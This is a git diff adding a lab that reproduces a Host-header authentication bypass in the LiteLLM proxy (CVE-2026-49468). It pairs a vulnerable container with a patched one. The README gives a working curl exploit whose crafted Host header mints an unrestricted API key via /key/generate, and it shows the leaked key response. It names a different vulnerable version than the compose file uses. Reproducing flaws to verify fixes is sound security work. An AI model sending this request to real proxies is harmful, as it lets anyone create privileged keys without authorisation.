diff --git a/litellm/CVE-2026-49468/README.md b/litellm/CVE-2026-49468/README.md new file mode 100644 index 00000000..940dfc8a --- /dev/null +++ b/litellm/CVE-2026-49468/README.md @@ -0,0 +1,44 @@ +# Host Header Authentication Bypass affecting LiteLLM proxy (CVE-2026-49468) + +LiteLLM proxy versions v1.83.9 and earlier are susceptible to an authentication bypass via Host header route confusion. A remote unauthenticated attacker can supply a crafted Host header containing a fragment or control sequence (such as #@) to bypass authorization gates and access sensitive administrative endpoints like /key/generate. + +## Vulnerable Version + +### Setup + +Start the vulnerable LiteLLM proxy instance (v1.82.0-stable) with its PostgreSQL database on port 4000: + +```sh +docker compose up -d litellm-vuln +``` +### Testing the vulnerability +``` +curl -H 'Host: localhost:4000/#@attacker.example' -H 'Content-Type: application/json' -X POST localhost:4000/key/generate -d '{"models": ["*"]}' +``` +Response: +``` +{"key_alias":null,"duration":null,"models":["*"],"spend":0.0,"max_budget":null,"user_id":null,"team_id":null,"agent_id":null,"max_parallel_requests":null,"metadata":{},"tpm_limit":null,"rpm_limit":null,"budget_duration":null,"allowed_cache_controls":[],"config":{},"permissions":{},"model_max_budget":{},"model_rpm_limit":null,"model_tpm_limit":null,"guardrails":null,"policies":null,"prompts":null,"blocked":null,"aliases":{},"object_permission":null,"key":"sk-...","budget_id":null,"tags":null,"enforced_params":null,"allowed_routes":[],"allowed_passthrough_routes":null,"allowed_vector_store_indexes":null,"rpm_limit_type":null,"tpm_limit_type":null,"router_settings":{"routing_strategy_args":null,"routing_strategy":null,"model_group_retry_policy":null,"model_group_affinity_config":null,"allowed_fails":null,"cooldown_time":null,"num_retries":null,"timeout":null,"max_retries":null,"retry_after":null,"fallbacks":null,"context_window_fallbacks":null,"model_group_alias":{}},"access_group_ids":[],"key_name":"sk-...IFTQ","expires":null,"token_id":"8c0feae9221b9c49f36bb9a81635166e8efb372f5db279a9cb9752931d665258","organization_id":null,"project_id":null,"litellm_budget_table":null,"token":"8c0...","created_by":null,"updated_by":null,"created_at":"2026-08-14T09:10:59.841000Z","updated_at":"2026-08-14T09:10:59.841000Z"} +``` + +## Safe Version + +### Setup + +Start the patched LiteLLM proxy instance (v1.84.0) with its PostgreSQL database on port 4001: +```sh + +docker compose up -d litellm-patched +``` +### Testing the vulnerability +``` +curl -H 'Host: localhost:4001/#@attacker.example' -H 'Content-Type: application/json' -X POST localhost:4001/key/generate -d '{"models": ["*"]}' +``` +Response: +``` +{"error":{"message":"Authentication Error, No api key passed in.","type":"auth_error","param":"None","code":"401"}} +``` + + + + + diff --git a/litellm/CVE-2026-49468/config.yaml b/litellm/CVE-2026-49468/config.yaml new file mode 100644 index 00000000..cfcf81e7 --- /dev/null +++ b/litellm/CVE-2026-49468/config.yaml @@ -0,0 +1,5 @@ +model_list: + - model_name: gpt-3.5-turbo + litellm_params: + model: openai/gpt-3.5-turbo + api_key: fake-openai-key diff --git a/litellm/CVE-2026-49468/docker-compose.yml b/litellm/CVE-2026-49468/docker-compose.yml new file mode 100644 index 00000000..f235e904 --- /dev/null +++ b/litellm/CVE-2026-49468/docker-compose.yml @@ -0,0 +1,64 @@ +services: + db: + image: postgres:15-alpine + container_name: litellm-db + environment: + POSTGRES_USER: litellm + POSTGRES_PASSWORD: litellm + POSTGRES_DB: litellm + healthcheck: + test: ["CMD-SHELL", "pg_isready -U litellm -d litellm"] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + + # --- VULNERABLE PROXY (Port 4000) --- + litellm-vuln: + image: ghcr.io/berriai/litellm:v1.83.7-stable + container_name: litellm-proxy-vuln + depends_on: + db: + condition: service_healthy + environment: + PYTHONOPTIMIZE: "1" + DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm + STORE_MODEL_IN_DB: "True" + LITELLM_MASTER_KEY: sk-local-master-vuln + ports: + - "4000:4000" + volumes: + - ./config.yaml:/app/config.yaml + command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] + healthcheck: + test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + + # --- PATCHED PROXY (Port 4001) --- + litellm-patched: + image: ghcr.io/berriai/litellm:v1.84.0 + container_name: litellm-proxy-patched + depends_on: + db: + condition: service_healthy + environment: + DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm + STORE_MODEL_IN_DB: "True" + LITELLM_MASTER_KEY: sk-local-master-vuln + ports: + - "4001:4000" + volumes: + - ./config.yaml:/app/config.yaml + command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] + healthcheck: + test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + +volumes: + postgres_data: